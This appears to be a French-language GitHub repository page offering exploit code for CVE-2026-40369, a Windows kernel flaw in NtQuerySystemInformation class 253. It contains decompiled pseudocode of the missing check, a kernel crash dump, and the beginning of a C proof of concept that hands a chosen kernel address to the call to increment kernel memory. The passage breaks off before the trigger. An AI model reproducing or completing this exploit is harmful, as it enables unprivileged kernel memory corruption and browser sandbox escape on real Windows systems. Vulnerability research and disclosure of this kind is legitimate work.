orinimron123/cve-2026-40369-exploitCode d'exploit complet pour CVE-2026-40369 - Une vulnérabilité d'écriture arbitraire du noyau Windows qui permet une évasion du sandbox du navigateur depuis le sandbox du processus de rendu de tous les navigateurs.
ExpGetProcessInformationNtQuerySystemInformation(SystemProcessInformationExtension, kernelAddr, 0, &needed)ExpGetProcessInformation est appelé par ExpQuerySystemInformation pour les classes d'information
5 (SystemProcessInformation), 0x39, 0x94, 0xFC et 0xFD (253 = SystemProcessInformationExtension).
Le site d'appel à ExpQuerySystemInformation+0xD7A :
// Les cas 5, 0x39, 0x94, 0xFC, 0xFD partagent tous cet appel :
result = ExpGetProcessInformation((unsigned int *)userBuffer, bufferLength, &returnSize, NULL, infoClass);
Lorsque userBuffer pointe également vers le noyau (par exemple, pour sonder la taille de buffer nécessaire), la fonction entre dans :
// ExpGetProcessInformation, simplifié :
__int64 ExpGetProcessInformation(unsigned int *buffer, unsigned int length, ..., int infoClass)
{
v91 = buffer; // = NULL
if (infoClass == 252) {
v86 = v91; // la classe 252 utilise v86
// ...
} else {
v86 = NULL;
if (infoClass == 253) {
v95 = v91; // v95 = NULL (BUG : absence de vérification pour l'adresse noyau !)
goto LABEL_11;
}
// chemin classe 5 - utilise v81, ne touche pas à v95
}
v95 = NULL; // le chemin classe 252 arrive ici
LABEL_11:
// ... boucle d'itération sur les processus ...
while (NextProcess) {
if (infoClass == 253) {
++*v95; // CRASH : v95 est une adresse noyau arbitraire
v95[1] += ...; // Provoquerait aussi un crash
v95[2] += ...; // Provoquerait aussi un crash
}
// les chemins classes 5/252 gèrent correctement le buffer NULL
}
}
Pour la classe 253, v95 est défini sur le pointeur de buffer (v91 = buffer = NULL) sans aucune vérification NULL.
La boucle d'itération sur les processus tente ensuite d'incrémenter un compteur à *v95, provoquant un déréférencement de pointeur NULL en mode noyau → écran bleu.
Les classes 5 et 252 gèrent correctement les buffers NULL car elles utilisent des variables différentes (v81/v86) et ont des vérifications appropriées avant le déréférencement.
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff800041424344, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the processor decided the fault was due to a corrupted PTE.
bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
- ARM64: bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff803a06db22e, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000002, (reserved)
IP_IN_PAGED_CODE:
nt!ExpGetProcessInformation+42e
fffff803`a06db22e ff03 inc dword ptr [rbx]
STACK_TEXT:
*** WARNING: Unable to verify checksum for poc.exe
Unable to load image C:\Users\vm\poc.exe, Win32 error 0n2
ffffd380`d4dc52f8 fffff803`a01b2d82 : ffffd380`d4dc5378 00000000`00000001 00000000`00000100 fffff803`a02c4801 : nt!DbgBreakPointWithStatus
ffffd380`d4dc5300 fffff803`a01b22ac : 00000000`00000003 ffffd380`d4dc5460 fffff803`a02c4970 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
ffffd380`d4dc5360 fffff803`a00fba97 : 00000000`00000000 fffff803`9fe46273 00000000`00000000 00000000`00000000 : nt!KeBugCheck2+0xb2c
ffffd380`d4dc5af0 fffff803`9fe29dc0 : 00000000`00000050 ffff8000`41424344 00000000`00000002 ffffd380`d4dc5d90 : nt!KeBugCheckEx+0x107
ffffd380`d4dc5b30 fffff803`9fe16d96 : fffff803`a0bd9680 ffff8000`00000000 ffff8000`41424344 0000007f`fffffff8 : nt!MiSystemFault+0x850
ffffd380`d4dc5c20 fffff803`a02b9ecb : 00000000`00000000 00000000`0000000f 00000000`00000000 0000000c`00000000 : nt!MmAccessFault+0x646
ffffd380`d4dc5d90 fffff803`a06db22e : 00000000`00000001 00000000`00000001 00000000`c0000004 00000000`000000fd : nt!KiPageFault+0x38b
ffffd380`d4dc5f20 fffff803`a06dcfbf : 00000000`00000000 00000000`00000000 ffff8701`f54e4118 00000000`00000000 : nt!ExpGetProcessInformation+0x42e
ffffd380`d4dc6540 fffff803`a06e1061 : 00000000`00001000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!ExpQuerySystemInformation+0xd7f
ffffd380`d4dc6aa0 fffff803`a02be355 : 00000285`00b20000 ffff8701`f54e4080 ffff8701`f54e4080 00000000`00000000 : nt!NtQuerySystemInformation+0x91
ffffd380`d4dc6ae0 00007ffd`5bc82154 : 00007ff6`f01c10ef 00007ff6`f01e20a0 00007ff6`f01e20a0 00007ffd`5bc82140 : nt!KiSystemServiceCopyEnd+0x25
000000e8`7679faf8 00007ff6`f01c10ef : 00007ff6`f01e20a0 00007ff6`f01e20a0 00007ffd`5bc82140 00000285`00da4eb5 : ntdll!NtQuerySystemInformation+0x14
000000e8`7679fb00 00007ff6`f01c1374 : 00000000`00000000 00000285`00da3ab0 00000000`00000000 00000000`00000000 : poc+0x10ef
000000e8`7679fb30 00007ffd`5a5ae8d7 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : poc+0x1374
000000e8`7679fb70 00007ffd`5bbac48c : 00000000`00000000 00000000`00000000 000004f0`fffffb30 000004d0`fffffb30 : KERNEL32!BaseThreadInitThunk+0x17
000000e8`7679fba0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2c
Reproducteur minimal (non privilégié, aucun jeton spécial requis) :
/**
* poc.c — NtQuerySystemInformation class 253 arbitrary kernel increment PoC
*
* Demonstrates arbitrary kernel DWORD increment via ProbeForWrite bypass.
* Passes a kernel address as the output buffer with Length=0, causing
* ExpGetProcessInformation to increment DWORDs at the target address
* without validation.
*
* Build: cl /W4 /O2 poc.c /Fe:poc.exe /link ntdll.lib
*/
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ntdll.lib")
typedef long NTSTATUS;
#define SystemProcessInformationExtension 253
typedef NTSTATUS (NTAPI *PNtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
int main(void)
{
PNtQuerySystemInformation pNtQSI = (PNtQuerySystemInformation)
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
if (!pNtQSI) {
printf("[-] Failed to resolve NtQuerySystemInformation\n");
return 1;
}
PVOID target = (PVOID)0xffff800041424344ULL;
printf("[*] NtQuerySystemInformation class 253 arbitrary kernel increment PoC\n");
printf("[*] Target kernel address: %p\n", target);
printf("[*] Will write:\n");
printf(" [target+0] += num_processes (DWORD increment)\n");
printf(" [target+4] += total_threads (DWORD add)\n");
printf(" [target+8] += total_handles (DWORD add)\n");
printf("\n");
printf("[!] This WILL bugcheck if the address is not mapped writable memory.\n");
printf("[*] Press Enter to trigger...\n");
getchar();